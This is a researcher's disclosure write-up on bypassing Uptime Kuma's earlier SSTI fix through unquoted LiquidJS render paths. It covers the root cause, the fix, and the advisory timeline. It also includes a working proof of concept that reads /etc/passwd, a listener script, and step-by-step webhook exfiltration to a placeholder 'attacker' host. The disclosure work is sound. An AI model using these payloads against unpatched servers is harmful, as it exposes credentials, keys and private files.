How I Found That Uptime Kuma's SSTI Fix Wasn't Actually Fixed
I use Uptime Kuma every day to monitor my homelab. While auditing the codebase as a contributor, I discovered that a previously patched SSTI vulnerability was still exploitable — leading me upstream to LiquidJS, a coordinated fix across both projects, and two published security advisories.

What is Uptime Kuma? Uptime Kuma is one of the most popular open-source monitoring tools on GitHub (86,000+ stars). It lets you monitor websites, APIs, and services and get notifications when something goes down. Think of it as a self-hosted alternative to services like UptimeRobot or Pingdom.
What is LiquidJS? LiquidJS is a popular JavaScript template engine (used by thousands of npm packages) based on Shopify's Liquid language. It lets you write templates with dynamic content like
{{ variable }}and control flow like{% if condition %}. Uptime Kuma uses it to let users customize notification messages.
how it started
i run Uptime Kuma to monitor basically everything in my homelab — all 25+ services tracked in a custom dashboard at status.doruk.ch. i'm also an open-source contributor to the project. when you depend on something every day and you work in cyber defense, you start looking at it differently.
so when i noticed GHSA-vffh-c9pq-4crh — a Server-Side Template Injection (SSTI) vulnerability that had been marked as "patched" in version 2.0.0 back in October 2025 — i had a simple question: does the fix actually work?
what the original fix did
the original vulnerability was elegant in its simplicity. Uptime Kuma uses LiquidJS to render custom notification templates — the system that lets you customize what gets sent to Slack, Discord, webhooks, etc. when a monitor goes down. an attacker could abuse LiquidJS's {% render %} and {% include %} tags to read arbitrary files from the server.
the fix in Uptime Kuma 2.0.0 added three mitigations to the Liquid engine configuration:
const engine = new Liquid({
root: "./no-such-directory-uptime-kuma", // point root to a nonexistent dir
relativeReference: false, // block relative paths
dynamicPartials: false, // treat paths as literals, not variables
});
three separate protections. root directory set to nowhere. relative references disabled. dynamic partials disabled.
on paper, this looks solid. and it was — for quoted paths.
the moment it broke
i started testing on Uptime Kuma 2.1.3 (the latest at the time) with LiquidJS 10.24.0. my approach was simple: try every path format i could think of.
quoted paths? blocked. every single one:
{% render '/etc/passwd' %} → ENOENT (blocked ✓)
{% render "../../../etc/passwd" %} → illegal filename (blocked ✓)
{% include '/etc/shadow' %} → ENOENT (blocked ✓)
the mitigations were working. i almost closed my notes and moved on.
then i tried one more thing — what if i just dropped the quotes?
{% render /etc/passwd %}
the full contents of /etc/passwd came back.
i sat there staring at my terminal for a good 10 seconds. the entire security boundary — three mitigations, a published advisory, a patched release — was bypassed by removing two characters.
proving it end-to-end
before reporting anything, i needed to confirm this wasn't just a quirk of my test setup. i reproduced it end-to-end on a clean Uptime Kuma 2.1.3 instance.
step 1: set up a listener to catch the exfiltrated data
// Simple HTTP server to receive the file contents
node -e "require('http').createServer((req,res)=>{
let b='';
req.on('data',c=>b+=c);
req.on('end',()=>{
console.log('--- RECEIVED DATA ---');
console.log(b);
console.log('--- END ---');
res.end('ok')
})
}).listen(9999, ()=>console.log('Listening on :9999'))"
step 2: create the malicious notification
- log in to Uptime Kuma (any account — there's no RBAC)
- go to any monitor → Edit → Set Up Notification
- pick Webhook, set Post URL to
http://attacker:9999 - change Request Body to Custom Body
- enter:
{% render /etc/passwd %} - click Test
step 3: watch the file contents arrive
--- RECEIVED DATA ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
--- END ---
works with {% include /etc/passwd %} too. any file readable by the Node.js process: application configs, .env files with API keys, TLS private keys, database credentials — all fair game.
the standalone PoC
you don't even need a running Uptime Kuma instance to demonstrate this. the vulnerability is in LiquidJS itself:
const { Liquid } = require("liquidjs");
// Exact same mitigations from Uptime Kuma's "fix"
const engine = new Liquid({
root: "./no-such-directory-uptime-kuma",
relativeReference: false,
dynamicPartials: false,
});
// Quoted path — blocked ✓
engine.render(engine.parse("{% render '/etc/passwd' %}"), {})
.then(r => console.log("Quoted:", r))
.catch(e => console.log("Quoted: BLOCKED -", e.code));
// Unquoted path — bypasses everything ✗
engine.render(engine.parse("{% render /etc/passwd %}"), {})
.then(r => console.log("Unquoted:", r.substring(0, 200) + "..."));
output:
Quoted: BLOCKED - ENOENT
Unquoted: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
same engine. same configuration. same mitigations. the only difference: two quote characters.
why this happened: the root cause
i spent a few hours tracing through LiquidJS's source code to understand why quoted paths were blocked but unquoted paths weren't. the answer turned out to be fascinating.
LiquidJS resolves template file paths through a *candidates() generator function in src/fs/loader.ts. it tries three resolution strategies in sequence:
step 1 — root directory lookup. it checks the file against the configured root directories, with a contains() check to ensure the resolved path stays inside the root. since root points to a nonexistent directory, nothing is found here. ✓ blocked.
step 2 — relative reference lookup. it resolves relative to the current template's directory. relativeReference: false disables this entirely. ✓ blocked.
step 3 — require.resolve() fallback. this is where it breaks. there's a fallback that uses Node.js's built-in require.resolve() to find the file:
// loader.ts — the vulnerable fallback
if (fs.fallback !== undefined) {
const filepath = fs.fallback(file); // calls require.resolve()
if (filepath !== undefined)
yield filepath; // ← NO contains() check. No enforceRoot check. Nothing.
}
steps 1 and 2 both validate paths with contains(). step 3 just... doesn't. it yields whatever require.resolve() returns, no questions asked.
but here's the really interesting part: why did quoted paths fail at step 3 too?
because of a quirk in LiquidJS's template parser. the readFileNameTemplate() function, when dynamicPartials is false, reads the tag argument as a raw string literal — including the quote characters. so when you write:
{% render '/etc/passwd' %}
the engine parses the filename as the string '/etc/passwd' — with literal single quotes as part of the filename. then require.resolve("'/etc/passwd'") tries to find a file literally named '/etc/passwd' (quotes included), which obviously doesn't exist. MODULE_NOT_FOUND.
without quotes:
{% render /etc/passwd %}
the filename is parsed as /etc/passwd — clean, no extra characters. require.resolve('/etc/passwd') happily returns the real path. file read successful.
the entire security boundary of Uptime Kuma's SSTI fix was resting on a parsing quirk — an accident of how LiquidJS handles quote characters — not on any deliberate security check.
that's the kind of thing that makes you question every "fixed" vulnerability you've ever seen.
going upstream
i reported the bypass to Uptime Kuma via GitHub Security Advisory on March 2nd. within a week, @louislam (the maintainer, 86k+ stars on the repo) confirmed it and made a crucial observation:
"I think you should report to LiquidJS too, because they promoted LiquidJS as safe template engine, but it is not in this case."
he was right. the bug wasn't in Uptime Kuma's code — it was in LiquidJS's file resolution logic. fixing it only in Uptime Kuma would leave every other project using LiquidJS for user-controlled templates exposed.
so i emailed @harttle (the LiquidJS maintainer) per their SECURITY.md with a detailed writeup and PoC. in the gist, i documented both the root cause analysis and the specific attack vectors:
- Vector 1: Unquoted absolute paths with
dynamicPartials: false(my discovery) —{% render /etc/passwd %} - Vector 2: Relative path traversal with
dynamicPartials: true(discovered independently by other researchers) — variables containing../../../etc/passwd
both vectors exploit the same root cause: the require.resolve() fallback in *candidates() that yields paths without any contains() or enforceRoot validation.
multiple researchers, same bug
what i didn't know at the time was that other security researchers had independently found the same root cause through different attack vectors. harttle later published a transparent timeline:
| Date | Researcher | Vector |
|---|---|---|
| Dec 30, 2025 | @maorcap | include and render tags with dynamicPartials: true |
| Feb 17, 2026 | @MorielHarush | include tag with dynamicPartials: true (+ submitted PR #851 with fix) |
| Feb 22, 2026 | @ByamB4 | include, render, layout tags with string literal paths |
| Mar 7, 2026 | @peaktwilight (me) | render tag with unquoted absolute path + dynamicPartials: false |
four independent discoveries. four different attack vectors. one root cause.
this is actually a good sign for the security ecosystem — when multiple researchers find the same bug independently, it validates that the vulnerability is real, significant, and was going to surface eventually. the important thing is that it got fixed, and that the upstream fix protects everyone.
the fix
harttle merged the fix and released LiquidJS 10.25.0 within days. the fix adds proper path containment validation to the fallback:
// Fixed: fallback now respects enforceRoot and contains() checks
if (fs.fallback !== undefined) {
const filepath = fs.fallback(file)
if (filepath !== undefined) {
if (!enforceRoot || dirs.some(dir => this.contains(dir, filepath))) {
yield filepath
}
}
}
now the fallback applies the same security contract as the other resolution steps. no more free passes.
louislam then bumped the LiquidJS dependency and released Uptime Kuma 2.2.1.
i also suggested a defense-in-depth approach for Uptime Kuma specifically — removing the file-inclusion tags entirely from the notification engine, since notification templates have no legitimate reason to include external files:
const engine = new Liquid({ ... });
delete engine.tags["render"];
delete engine.tags["include"];
delete engine.tags["layout"];
this is belt-and-suspenders: even if another bypass is found in LiquidJS's file resolution in the future, the tags that trigger it simply don't exist in the notification context. all the useful template features ({{ variables }}, {% if %}, {% for %}, filters) keep working.
severity & references
Uptime Kuma (GHSA-v832-4r73-wx5j):
- CVSS: 6.5 (Moderate) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - CWE: CWE-98, CWE-1336 (SSTI)
- Affected: Uptime Kuma >= 1.23.0, < 2.2.1
- Fixed: Uptime Kuma 2.2.1
LiquidJS (CVE-2026-30952):
- Severity: High
- CWE: CWE-22 (Path Traversal)
- Affected: LiquidJS < 10.25.0
- Fixed: LiquidJS 10.25.0
- Credits: @caplanmaor (finder), @MorielHarush (remediation developer), @ByamB4 (analyst)
Additional references:
- My original LiquidJS writeup and PoC (GitHub Gist)
- LiquidJS PR #851 — the fix discussion
- LiquidJS PR #855 — the merged fix
full timeline
| Date | Event |
|---|---|
| Oct 20, 2025 | Original SSTI advisory GHSA-vffh-c9pq-4crh published. Uptime Kuma 2.0.0 listed as patched. |
| Dec 30, 2025 | @maorcap emails LiquidJS maintainer with first report of the fallback bug |
| Feb 17, 2026 | @MorielHarush submits PR #851 with fix for the same code |
| Feb 22, 2026 | @ByamB4 emails LiquidJS maintainer with expanded scope (all 3 tags) |
| Mar 2, 2026 | i reproduce the bypass on Uptime Kuma 2.1.3 via unquoted absolute paths |
| Mar 2, 2026 | reported to Uptime Kuma via GitHub Security Advisory |
| Mar 7, 2026 | emailed LiquidJS maintainer with detailed writeup and PoC |
| Mar 7, 2026 | harttle merges fix (PR #855), releases LiquidJS 10.25.0 |
| Mar 8, 2026 | LiquidJS advisory GHSA-wmfp-5q7x-987x published, CVE-2026-30952 assigned |
| Mar 10, 2026 | @louislam confirms the Uptime Kuma bypass |
| Mar 16, 2026 | Uptime Kuma 2.2.1 released with updated LiquidJS |
| Mar 16, 2026 | Uptime Kuma advisory GHSA-v832-4r73-wx5j published |
what i took away from this
always verify fixes — especially across input variants. the original SSTI fix blocked quoted paths perfectly. the advisory was closed, the version was bumped, everyone moved on. nobody tested what happens without quotes. when reviewing a security patch, don't just test the PoC from the original report — test every variation.
trace the actual code path, including every fallback. reading the config options isn't enough. the root, relativeReference, and dynamicPartials settings all worked correctly for their respective code paths — the vulnerability was in a fourth code path that none of them covered. security is about the path you didn't check.
when the root cause is in a dependency, go upstream. fixing it only in Uptime Kuma would have been a band-aid. going upstream to LiquidJS means one fix protects the entire ecosystem. Dependabot is now automatically flagging CVE-2026-30952 for every project using LiquidJS < 10.25.0.
don't rely on parsing quirks for security. the fact that quoted paths failed in require.resolve() was an accident of how LiquidJS preserves quote characters internally — not a deliberate security boundary. real security needs explicit validation at every step, not happy coincidences that happen to block one attack variant but not another.
multiple researchers finding the same bug is the system working as intended. four groups independently found the same fallback issue through different vectors over a span of three months. that's not a problem — that's exactly how the open-source security ecosystem is supposed to work. overlapping coverage catches bugs that any single researcher might miss.
if you use Uptime Kuma or LiquidJS, update now:
- Uptime Kuma: upgrade to 2.2.1 or later
- LiquidJS: upgrade to 10.25.0 or later
- if you use LiquidJS with user-controlled templates, do not rely solely on
root,relativeReference, ordynamicPartialsfor isolation on pre-10.25.0 versions — they were not sufficient
written by Doruk Tan Ozturk (@peaktwilight). Uptime Kuma advisory: GHSA-v832-4r73-wx5j | LiquidJS CVE: CVE-2026-30952 | PoC Gist